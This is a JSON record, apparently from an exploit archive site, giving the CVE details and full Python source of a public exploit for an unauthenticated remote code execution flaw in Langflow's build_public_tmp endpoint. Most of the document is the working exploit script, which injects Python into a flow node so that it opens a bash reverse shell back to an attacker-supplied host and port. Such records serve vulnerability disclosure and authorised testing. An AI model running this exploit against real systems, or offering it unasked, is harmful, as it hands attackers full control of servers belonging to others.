{"exploit":{"id":"EDB-52627","name":"Langflow 1.9.0 - 'build_public_tmp' Remote Code Execution (RCE)","description":"Langflow 1.9.0 - 'build_public_tmp' Remote Code Execution (RCE)","cves":["CVE-2026-33017"],"author":"Diamorphine","published":"2026-07-08","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52627","path":"exploits/multiple/webapps/52627.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52627.py","vulnerabilities":[{"id":"CVE-2026-33017","state":"PUBLISHED","title":"Langflow has Unauthenticated Remote Code Execution via Public Flow Build Endpoint","titleSource":"CVE Program","description":"Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33017","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33017"},"updatedAt":"2026-05-21T19:54:41.184Z","retrievedAt":"2026-11-25T16:13:47.430Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52627.png?v=2","url":"https://exploitbin.com/exploits/EDB-52627","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52627/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52627/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:  Langflow 1.9.0 - RCE\n# Exploit Author: Diamorphine\n# Vendor Homepage: https://www.langflow.org/\n# Software Link: https://www.langflow.org/desktop\n# Version: < 1.9.0\n# Tested on: Debian\n# CVE : CVE-2026-33017\n\n\nimport asyncio\nimport httpx\nimport argparse\nfrom urllib.parse import urljoin\n\n\nasync def main(target, flow_id, lhost, lport, client_id):\n    async with httpx.AsyncClient(verify=False) as client:\n        data= {\n            \"data\": {\n                \"nodes\": [\n                    {\n                        \"id\": \"Exploit-001\",\n                        \"type\": \"genericNode\",\n                        \"position\": {\"x\": 0, \"y\": 0},\n                        \"data\": {\n                            \"id\": \"Exploit-001\",\n                            \"type\": \"ExploitComp\",\n                            \"node\": {\n                                \"template\": {\n                                    \"code\": {\n                                        \"type\": \"code\",\n                                        \"required\": True,\n                                        \"show\": True,\n                                        \"multiline\": True,\n                                        \"value\": f\"import os\\n\\n_x = os.system(\\\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n    display_name=\\\"X\\\"\\n    outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n    def r(self)->Data:\\n        return Data(data={{}})\",\n                                        \"name\": \"code\",\n                                        \"password\": False,\n                                        \"advanced\": False,\n                                        \"dynamic\": False\n                                    },\n                                    \"_type\": \"Component\"\n                                },\n                                \"description\": \"X\",\n                                \"base_classes\": [\"Data\"],\n                                \"display_name\": \"ExploitComp\",\n                                \"name\": \"ExploitComp\",\n                                \"frozen\": False,\n                                \"outputs\": [\n                                    {\n                                        \"types\": [\"Data\"],\n                                        \"selected\": \"Data\",\n                                        \"name\": \"o\",\n                                        \"display_name\": \"O\",\n                                        \"method\": \"r\",\n                                        \"value\": \"__UNDEFINED__\",\n                                        \"cache\": True,\n                                        \"allows_loop\": False,\n                                        \"tool_mode\": False,\n                                        \"hidden\": None,\n                                        \"required_inputs\": None,\n                                        \"group_outputs\": False\n                                    }\n                                ],\n                                \"field_order\": [\"code\"],\n                                \"beta\": False,\n                                \"edited\": False\n                            }\n                        }\n                    }\n                ],\n                \"edges\": []\n            },\n            \"inputs\": None\n        }\n        cookies = {\"client_id\":client_id}\n        url = urljoin(target, f\"/api/v1/build_public_tmp/{flow_id}/flow\")\n        try:\n            r = await client.post(url=url, json=data, cookies=cookies)\n            print(f\"[+] Request Request completed with status: {r.status_code}\")\n        except httpx.ReadTimeout:\n            print(\"[+] Shell is done\")\n\nparser = argparse.ArgumentParser(description=\"Exploit for Langflow RCE CVE-2026-33017\")\n\nparser.add_argument('-l', '--lhost', required=True, help=\"Attacker local ip address.\")\nparser.add_argument('-p', '--lport', required=True, help=\"Attacker local port.\")\nparser.add_argument('-u', '--url', required=True, help=\"Target url. e.g. http://127.0.0.1/\")\nparser.add_argument('-f', '--flow-id', required=True, help=\"Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL\")\nparser.add_argument('-c', '--client-id', required=True, help=\"Client ID for Langflow session (used as cookie 'client_id').\")\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n    asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))","sha256":"8209549f4d05bcc1f35fd723fc2f59b46f178d5e13f5c34e7dc688f8a9b3bfb8","bytes":4550,"fetchedAt":"2026-11-26T08:55:52.556Z","encoding":"utf-8 (display only; download retains original bytes)"}